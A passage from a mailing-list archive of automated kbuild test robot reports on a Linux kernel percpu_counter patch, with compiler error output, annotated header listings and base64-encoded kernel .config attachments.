task_struct *p); ^ include/linux/sched.h:1944:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token .. vim +/__attribute__ +6 arch/ia64/include/asm/linkage.h ^1da177e include/asm-ia64/linkage.h Linus Torvalds 2005-04-16 1 #ifndef __ASM_LINKAGE_H ^1da177e include/asm-ia64/linkage.h Linus Torvalds 2005-04-16 2 #define __ASM_LINKAGE_H ^1da177e include/asm-ia64/linkage.h Linus Torvalds 2005-04-16 3 ab7efcc9 include/asm-ia64/linkage.h Jan Beulich 2006-03-24 4 #ifndef __ASSEMBLY__ ab7efcc9 include/asm-ia64/linkage.h Jan Beulich 2006-03-24 5 ^1da177e include/asm-ia64/linkage.h Linus Torvalds 2005-04-16 @6 #define asmlinkage CPP_ASMLINKAGE __attribute__((syscall_linkage)) ^1da177e include/asm-ia64/linkage.h Linus Torvalds 2005-04-16 7 ab7efcc9 include/asm-ia64/linkage.h Jan Beulich 2006-03-24 8 #else ab7efcc9 include/asm-ia64/linkage.h Jan Beulich 2006-03-24 9 ab7efcc9 include/asm-ia64/linkage.h Jan Beulich 2006-03-24 10 #include ab7efcc9 include/asm-ia64/linkage.h Jan Beulich 2006-03-24 11 ab7efcc9 include/asm-ia64/linkage.h Jan Beulich 2006-03-24 12 #endif ab7efcc9 include/asm-ia64/linkage.h Jan Beulich 2006-03-24 13 e1b5bb6d arch/ia64/include/asm/linkage.h Al Viro 2013-01-21 14 #define cond_syscall(x) asm(".weak\t" #x "#\n" #x "#\t=\tsys_ni_syscall#") :::::: The code at line 6 was first introduced by commit :::::: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 Linux-2.6.12-rc2 :::::: TO: Linus Torvalds :::::: CC: Linus Torvalds --- 0-DAY kernel test infrastructure Open Source Technology Center https://lists.01.org/pipermail/kbuild-all Intel Corporation --RnlQjJ0d97Da+TV1 Content-Type: application/octet-stream Content-Disposition: attachment; filename=".config.gz" Content-Transfer-Encoding: base64 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 --RnlQjJ0d97Da+TV1-- From fengguang.wu@intel.com Fri Oct 2 13:07:11 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.7 required=5.0 tests=FAKE_REPLY_C autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4F3607F55 for ; Fri, 2 Oct 2015 13:07:11 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 45049304032 for ; Fri, 2 Oct 2015 11:07:08 -0700 (PDT) X-ASG-Debug-ID: 1443809226-04cbb033b31d6710001-NocioJ Received: from mga02.intel.com (mga02.intel.com [134.134.136.20]) by cuda.sgi.com with ESMTP id hDFgfKYumpKvWtnH for ; Fri, 02 Oct 2015 11:07:06 -0700 (PDT) X-Barracuda-Envelope-From: fengguang.wu@intel.com X-Barracuda-Apparent-Source-IP: 134.134.136.20 X-ASG-Whitelist: EmailCat (corporate) Received: from orsmga001.jf.intel.com ([10.7.209.18]) by orsmga101.jf.intel.com with ESMTP; 02 Oct 2015 11:07:05 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.17,624,1437462000"; d="gz'50?scan'50,208,50";a="782961295" Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14]) by orsmga001.jf.intel.com with ESMTP; 02 Oct 2015 11:07:03 -0700 Received: from kbuild by bee with local (Exim 4.83) (envelope-from ) id 1Zi4jL-000WJI-TB; Sat, 03 Oct 2015 02:06:51 +0800 Date: Sat, 3 Oct 2015 02:05:58 +0800 From: kbuild test robot To: Waiman Long Cc: kbuild-all@01.org, Dave Chinner , Tejun Heo , Christoph Lameter , linux-kernel@vger.kernel.org, xfs@oss.sgi.com, Scott J Norton , Douglas Hatch , Waiman Long Subject: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() Message-ID: <201510030217.xqhLjnfK%fengguang.wu@intel.com> X-ASG-Orig-Subj: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="17pEHd4RhPHOinZp" Content-Disposition: inline In-Reply-To: <1443806997-30792-1-git-send-email-Waiman.Long@hpe.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: fengguang.wu@intel.com X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false X-Barracuda-Connect: mga02.intel.com[134.134.136.20] X-Barracuda-Start-Time: 1443809226 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 --17pEHd4RhPHOinZp Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi Waiman, [auto build test results on v4.3-rc3 -- if it's inappropriate base, please ignore] config: i386-alldefconfig (attached as .config) reproduce: # save the attached .config to linux build tree make ARCH=i386 All error/warnings (new ones prefixed by >>): In file included from include/linux/proportions.h:12:0, from include/linux/sched.h:43, from include/linux/uaccess.h:4, from include/linux/crypto.h:26, from arch/x86/kernel/asm-offsets.c:8: include/linux/percpu_counter.h: In function '__percpu_counter_compare': include/linux/percpu_counter.h:126:30: error: expected declaration specifiers before ')' token s32 batch, s64 *pcnt)) ^ include/linux/percpu_counter.h:133:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/percpu_counter.h:141:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/percpu_counter.h:146:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/percpu_counter.h:155:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/percpu_counter.h:160:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/percpu_counter.h:165:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/percpu_counter.h:170:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/percpu_counter.h:177:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/percpu_counter.h:182:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/percpu_counter.h:187:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ In file included from include/linux/sched.h:43:0, from include/linux/uaccess.h:4, from include/linux/crypto.h:26, from arch/x86/kernel/asm-offsets.c:8: include/linux/proportions.h:17:1: warning: empty declaration struct prop_global { ^ include/linux/proportions.h:38:1: warning: empty declaration struct prop_descriptor { ^ include/linux/proportions.h:51:1: warning: empty declaration struct prop_local_percpu { ^ include/linux/proportions.h:73:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/proportions.h:102:1: warning: empty declaration struct prop_local_single { ^ include/linux/proportions.h:129:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ In file included from include/linux/seccomp.h:4:0, from include/linux/sched.h:44, from include/linux/uaccess.h:4, from include/linux/crypto.h:26, from arch/x86/kernel/asm-offsets.c:8: include/uapi/linux/seccomp.h:47:1: warning: empty declaration struct seccomp_data { ^ In file included from include/linux/sched.h:44:0, from include/linux/uaccess.h:4, from include/linux/crypto.h:26, from arch/x86/kernel/asm-offsets.c:8: include/linux/seccomp.h:13:1: warning: empty declaration struct seccomp_filter; ^ include/linux/seccomp.h:25:1: warning: empty declaration struct seccomp { ^ >> include/linux/seccomp.h:31:12: error: storage class specified for parameter '__secure_computing' extern int __secure_computing(void); ^ include/linux/seccomp.h:33:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ >> include/linux/seccomp.h:42:12: error: storage class specified for parameter 'seccomp_phase1' extern u32 seccomp_phase1(struct seccomp_data *sd); ^ >> include/linux/seccomp.h:48:13: error: storage class specified for parameter 'prctl_get_seccomp' extern long prctl_get_seccomp(void); ^ >> include/linux/seccomp.h:49:13: error: storage class specified for parameter 'prctl_set_seccomp' extern long prctl_set_seccomp(unsigned long, char __user *); ^ include/linux/seccomp.h:52:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/seccomp.h:90:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/seccomp.h:94:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ In file included from include/linux/sched.h:46:0, from include/linux/uaccess.h:4, from include/linux/crypto.h:26, from arch/x86/kernel/asm-offsets.c:8: include/linux/rculist.h:31:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/rculist.h:51:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/rculist.h:79:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/rculist.h:101:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/rculist.h:130:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/rculist.h:156:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/rculist.h:173:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/rculist.h:201:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/rculist.h:344:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/rculist.h:358:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/rculist.h:397:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/rculist.h:427:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/rculist.h:454:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ In file included from include/linux/sched.h:47:0, from include/linux/uaccess.h:4, from include/linux/crypto.h:26, from arch/x86/kernel/asm-offsets.c:8: include/linux/rtmutex.h:19:12: error: storage class specified for parameter 'max_lock_depth' extern int max_lock_depth; /* for sysctl */ ^ include/linux/rtmutex.h:29:1: warning: empty declaration struct rt_mutex { ^ include/linux/rtmutex.h:42:1: warning: empty declaration struct rt_mutex_waiter; ^ include/linux/rtmutex.h:43:1: warning: empty declaration struct hrtimer_sleeper; ^ include/linux/rtmutex.h:52:2: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/rtmutex.h:85:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/rtmutex.h:89:13: error: storage class specified for parameter '__rt_mutex_init' extern void __rt_mutex_init(struct rt_mutex *lock, const char *name); ^ include/linux/rtmutex.h:90:13: error: storage class specified for parameter 'rt_mutex_destroy' extern void rt_mutex_destroy(struct rt_mutex *lock); ^ include/linux/rtmutex.h:92:13: error: storage class specified for parameter 'rt_mutex_lock' extern void rt_mutex_lock(struct rt_mutex *lock); ^ include/linux/rtmutex.h:93:12: error: storage class specified for parameter 'rt_mutex_lock_interruptible' extern int rt_mutex_lock_interruptible(struct rt_mutex *lock); ^ include/linux/rtmutex.h:94:12: error: storage class specified for parameter 'rt_mutex_timed_lock' extern int rt_mutex_timed_lock(struct rt_mutex *lock, ^ include/linux/rtmutex.h:97:12: error: storage class specified for parameter 'rt_mutex_trylock' extern int rt_mutex_trylock(struct rt_mutex *lock); ^ include/linux/rtmutex.h:99:13: error: storage class specified for parameter 'rt_mutex_unlock' extern void rt_mutex_unlock(struct rt_mutex *lock); ^ In file included from include/linux/resource.h:4:0, from include/linux/sched.h:51, from include/linux/uaccess.h:4, vim +/__secure_computing +31 include/linux/seccomp.h c2e1f2e30 Kees Cook 2014-06-05 7 ^1da177e4 Linus Torvalds 2005-04-16 8 #ifdef CONFIG_SECCOMP ^1da177e4 Linus Torvalds 2005-04-16 9 ^1da177e4 Linus Torvalds 2005-04-16 10 #include ^1da177e4 Linus Torvalds 2005-04-16 11 #include ^1da177e4 Linus Torvalds 2005-04-16 12 e2cfabdfd Will Drewry 2012-04-12 @13 struct seccomp_filter; e2cfabdfd Will Drewry 2012-04-12 14 /** e2cfabdfd Will Drewry 2012-04-12 15 * struct seccomp - the state of a seccomp'ed process e2cfabdfd Will Drewry 2012-04-12 16 * e2cfabdfd Will Drewry 2012-04-12 17 * @mode: indicates one of the valid values above for controlled e2cfabdfd Will Drewry 2012-04-12 18 * system calls available to a process. dbd952127 Kees Cook 2014-06-27 19 * @filter: must always point to a valid seccomp-filter or NULL as it is dbd952127 Kees Cook 2014-06-27 20 * accessed without locking during system call entry. e2cfabdfd Will Drewry 2012-04-12 21 * e2cfabdfd Will Drewry 2012-04-12 22 * @filter must only be accessed from the context of current as there dbd952127 Kees Cook 2014-06-27 23 * is no read locking. e2cfabdfd Will Drewry 2012-04-12 24 */ 932ecebb0 Will Drewry 2012-04-12 @25 struct seccomp { 932ecebb0 Will Drewry 2012-04-12 26 int mode; e2cfabdfd Will Drewry 2012-04-12 27 struct seccomp_filter *filter; 932ecebb0 Will Drewry 2012-04-12 28 }; ^1da177e4 Linus Torvalds 2005-04-16 29 a4412fc94 Andy Lutomirski 2014-07-21 30 #ifdef CONFIG_HAVE_ARCH_SECCOMP_FILTER a4412fc94 Andy Lutomirski 2014-07-21 @31 extern int __secure_computing(void); a4412fc94 Andy Lutomirski 2014-07-21 32 static inline int secure_computing(void) ^1da177e4 Linus Torvalds 2005-04-16 @33 { ^1da177e4 Linus Torvalds 2005-04-16 34 if (unlikely(test_thread_flag(TIF_SECCOMP))) a4412fc94 Andy Lutomirski 2014-07-21 35 return __secure_computing(); acf3b2c71 Will Drewry 2012-04-12 36 return 0; ^1da177e4 Linus Torvalds 2005-04-16 37 } 13aa72f0f Andy Lutomirski 2014-07-21 38 13aa72f0f Andy Lutomirski 2014-07-21 39 #define SECCOMP_PHASE1_OK 0 13aa72f0f Andy Lutomirski 2014-07-21 40 #define SECCOMP_PHASE1_SKIP 1 13aa72f0f Andy Lutomirski 2014-07-21 41 d39bd00de Andy Lutomirski 2014-07-21 @42 extern u32 seccomp_phase1(struct seccomp_data *sd); 13aa72f0f Andy Lutomirski 2014-07-21 43 int seccomp_phase2(u32 phase1_result); a4412fc94 Andy Lutomirski 2014-07-21 44 #else a4412fc94 Andy Lutomirski 2014-07-21 45 extern void secure_computing_strict(int this_syscall); a4412fc94 Andy Lutomirski 2014-07-21 46 #endif e4da89d02 Will Drewry 2012-04-17 47 1d9d02fee Andrea Arcangeli 2007-07-15 @48 extern long prctl_get_seccomp(void); e2cfabdfd Will Drewry 2012-04-12 @49 extern long prctl_set_seccomp(unsigned long, char __user *); 1d9d02fee Andrea Arcangeli 2007-07-15 50 932ecebb0 Will Drewry 2012-04-12 51 static inline int seccomp_mode(struct seccomp *s) 5cec93c21 Andy Lutomirski 2011-06-05 52 { :::::: The code at line 31 was first introduced by commit :::::: a4412fc9486ec85686c6c7929e7e829f62ae377e seccomp,x86,arm,mips,s390: Remove nr parameter from secure_computing :::::: TO: Andy Lutomirski :::::: CC: Kees Cook --- 0-DAY kernel test infrastructure Open Source Technology Center https://lists.01.org/pipermail/kbuild-all Intel Corporation --17pEHd4RhPHOinZp Content-Type: application/octet-stream Content-Disposition: attachment; filename=".config.gz" Content-Transfer-Encoding: base64 H4sICMfEDlYAAy5jb25maWcAjFxLk9u2st7nV7Ccu8hZOJ6Xx3bdmgUEgiIskoAJUI/ZsBQN nUxlLPlImsT597cbIEWQApR7qnISoRuvRqP7625wfv7p54i8Hnff1sfnzfrl5Z/o92bb7NfH 5in6+vzS/G8Ui6gQOmIx178Cc/a8ff3x7vn243109+vtr1dv95vbaNbst81LRHfbr8+/v0Lv 5932p5+Bm4oi4dP6/m7CdfR8iLa7Y3Rojj+17cuP9/XtzcM/zu/+By+ULiuquSjqmFERs7In 